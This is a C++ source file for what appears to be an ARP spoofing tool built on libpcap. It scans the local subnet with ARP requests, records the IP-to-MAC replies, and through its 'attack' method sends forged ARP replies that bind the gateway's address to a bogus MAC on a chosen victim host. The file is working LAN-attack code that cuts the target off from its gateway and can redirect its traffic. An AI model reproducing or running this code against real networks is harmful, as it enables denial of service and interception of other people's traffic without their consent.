#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include "utility.h"

#include "asa.h"

static char errbuf[PCAP_ERRBUF_SIZE];	// Error string 

int asa::init()
{
	
	struct bpf_program filter;	// The compiled filter 
	char filter_exp[] = "arp";	// The filter expression 
	
	//Check for privilege
	if(geteuid())
	{
		fprintf(stderr, "Need to be root account\n");
		return 1;
	}
	// Define the device 
	dev = pcap_lookupdev(errbuf);
	if (dev == NULL)
	{
		fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
		return 1;
	}
	// Find the properties for the device 
	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1)
	{
		fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
		net = 0;
		mask = 0;
	}

	if(get_dev_ip(dev,(ip_t *)&ip_self))
		return 1;
	if(get_dev_mac(dev,(mac_t *)&mac_self))
		return 1;
	if(get_gateway_ip((ip_t *)&gateway))
		return 1;

	if(ip_self & mask != net)
	{
		fprintf(stderr, "Selected interface has differenct network number with gateway\n");
	}
	printf("sinff on %s for network %s mask %s\n",dev,inet_ntoa(*(struct in_addr *)&net), inet_ntoa(*(struct in_addr *)&mask));
	printf("Localhost IP: %s\n",inet_ntoa(*(struct in_addr *)&ip_self));
	printf("Gateway: %s\n",inet_ntoa(*(struct in_addr *)&gateway));


	// Open the session in promiscuous mode 
	pcap_fd = pcap_open_live(dev, BUFSIZ, 1, 10000, errbuf);
	if (pcap_fd == NULL)
	{
		fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		return 1;
	}
	// Compile and apply the filter 
	if (pcap_compile(pcap_fd, &filter, filter_exp, 0, net) == -1)
	{
		fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(pcap_fd));
		return 1;
	}
	if (pcap_setfilter(pcap_fd, &filter) == -1)
	{
		fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(pcap_fd));
		return 1;
	}

	init_success = true;
	return 0;
}

static void sig_handle(int signo)
{	
	pthread_exit(NULL);
}

static void* startup_arp_sniff_thread(void *atap)
{
	((asa *)atap)->arp_sniff_thread();
	return NULL;
}
static void* startup_arp_scan_thread(void *atap)
{
	((asa *)atap)->arp_scan_thread();
	return NULL;
}
int asa::run()
{
	if(!init_success)
	{
		return 1;
	}

	if(pthread_create(&arp_sniff_tid, NULL,startup_arp_sniff_thread,this))
	{
		fprintf(stderr, "Create thread arp_sniff_thread failed\n");
		return 1;
	}

	if(pthread_create(&arp_scan_tid, NULL,startup_arp_scan_thread,this))
	{
		fprintf(stderr, "Create thread arp_scan_thread failed\n");
		return 1;
	}

	running = true;

	if(signal(SIGUSR1, sig_handle) == SIG_ERR)
	{
		fprintf(stderr, "Regist signal process function failed\n");
	}

	return 0;
}

int asa::stop()
{
	if(!running)
	{
		return 1;
	}
	pthread_kill(arp_scan_tid, SIGUSR1);
	printf("waiting arp scan thread to exit \t\t\t");
	pthread_join(arp_scan_tid, NULL);
	puts("[ok]");
	pthread_kill(arp_sniff_tid, SIGUSR1);
	printf("waiting arp sinff thread to exit\t\t\t");
	pthread_join(arp_sniff_tid, NULL);
	puts("[ok]");

	running = false;
	return 0;	
}


void* asa::arp_scan_thread()
{
	unsigned int ip_start = ntohl(net) + 1;
	unsigned int ip_end = ntohl(~mask | net);
	unsigned int ip = ip_start;
	unsigned int *ip2send;

	arp_pdu_t packet;

	memset(&packet.eth_head.mac_dst, 0xff,6);	//broadcast mac address
	memcpy(&packet.eth_head.mac_src, &mac_self, sizeof(mac_t));	//self mac
	packet.eth_head.ether_type = htons(0x0806); //arp procotol

	packet.arp.htype = htons(0x0001); 		//hardware type: Ethernet
	packet.arp.ptype = htons(0x0800); 		//protocol type: IP
	packet.arp.hlen = 6;	
	packet.arp.plen = 4;
	packet.arp.opcode = htons(ARP_REQUEST); 	//arp request
	memcpy(&packet.arp.sha, &mac_self, sizeof(mac_t));
	memcpy(&packet.arp.spa, &ip_self, sizeof(ip_t));
	memset(&packet.arp.dha, 0,6);
	ip2send = (unsigned int *)&(packet.arp.dpa);

	while(1)
	{
		if(ip == ip_end)
		{
			ip = ip_start;
			sleep(3);
		}
		if((ip != ip_self) && (ip != gateway))
		{
			//send arp request
			*ip2send = htonl(ip);
			if(pcap_sendpacket(pcap_fd, (const u_char *)&packet, sizeof(packet)))
			{
				fprintf(stderr, "pcap_sendpacket failed: %s\n",pcap_geterr(pcap_fd));
			}
		}
		ip++;
	}

#if 0
//---------------------------------------------------------------------------------------------------------
	memset(&packet.eth_head.mac_src, 0xcc,6);	//broadcast mac address
	memcpy(&packet.eth_head.mac_dst, &mac_self, sizeof(mac_t));	//self mac

	packet.eth_head.ether_type = htons(0x0806); //arp procotol

	packet.arp.htype = htons(0x0001); 		//hardware type: Ethernet
	packet.arp.ptype = htons(0x0800); 		//protocol type: IP
	packet.arp.hlen = 6;	
	packet.arp.plen = 4;
	packet.arp.opcode = htons(ARP_REQUEST); 	//arp request
	memset(&packet.arp.sha, 0xcc,6);
	memcpy(&packet.arp.spa, &gateway, sizeof(ip_t));
	memset(&packet.arp.dha, 0,6);
	memcpy(&packet.arp.dpa, &ip_self, sizeof(ip_t));
	
	

	while(1)
	{
		if(pcap_sendpacket(pcap_fd, (const u_char *)&packet, sizeof(packet)))
		{
			fprintf(stderr, "pcap_sendpacket failed: %s\n",pcap_geterr(pcap_fd));
		}
		sleep(1);
	}
#endif

}

void* asa::arp_sniff_thread()
{
	ip_t src_ip;
	mac_t dst_mac;
	pcap_pkthdr header;
	arp_pdu_t *packet;		


	while(1)
	{
		packet = (arp_pdu_t *)pcap_next(pcap_fd, &header);
		
		if(packet == NULL)
		{
			//printf("pcap_next return null\n");
			continue;	
		}
		if(packet->arp.opcode != htons(ARP_REPLY)) 
		{
			continue;
		}

		if((*(unsigned int *)&packet->arp.spa) & mask != net)
		{
			//printf("sniffed packet form localhost\n");
			continue;
		}
		if(!memcmp(&packet->arp.spa, &ip_self, sizeof(ip_t)))
		{
			//printf("sniffed packet form localhost\n");
			continue;
		}
		//printf("sniffed a arp reply\n");
		pthread_rwlock_wrlock(&table_lock);
		ip_mac_table[*(unsigned int*)&(packet->arp.spa)] = packet->arp.sha;
		pthread_rwlock_unlock(&table_lock);
	}
}

list<unsigned int> * asa::query_online_host()
{	
	list<unsigned int> * host = new  list<unsigned int>;

	if(ip_mac_table.size())
	{
		map<unsigned int,mac_t>::iterator itor;
		pthread_rwlock_rdlock(&table_lock);

		printf("read online host");
		for(itor=ip_mac_table.begin(); itor != ip_mac_table.end(); ++itor)
			host->push_back(itor->first);
		pthread_rwlock_unlock(&table_lock);
	}

	return host;
}

void asa::attack(unsigned int ip)
{
	arp_pdu_t packet;
	map<unsigned int,mac_t>::iterator itor = ip_mac_table.find(ip);

	if(itor == ip_mac_table.end())
	{
		return;
	}	
	memset(&packet.eth_head.mac_src, 0xcc,6);	
	memcpy(&packet.eth_head.mac_dst, &(itor->second), sizeof(mac_t));

	packet.eth_head.ether_type = htons(0x0806); //arp procotol

	packet.arp.htype = htons(0x0001); 		//hardware type: Ethernet
	packet.arp.ptype = htons(0x0800); 		//protocol type: IP
	packet.arp.hlen = 6;	
	packet.arp.plen = 4;
	packet.arp.opcode = htons(ARP_REPLY); 	//arp request
	
	memset(&packet.arp.sha, 0xcc,6);
	memcpy(&packet.arp.spa, &gateway, sizeof(ip_t));
	memcpy(&packet.arp.dha, &(itor->second), sizeof(mac_t));
	memcpy(&packet.arp.dpa, &ip, sizeof(ip_t));


	if(pcap_sendpacket(pcap_fd, (const u_char *)&packet, sizeof(packet)))
	{
		fprintf(stderr, "pcap_sendpacket failed: %s\n",pcap_geterr(pcap_fd));
	}
}


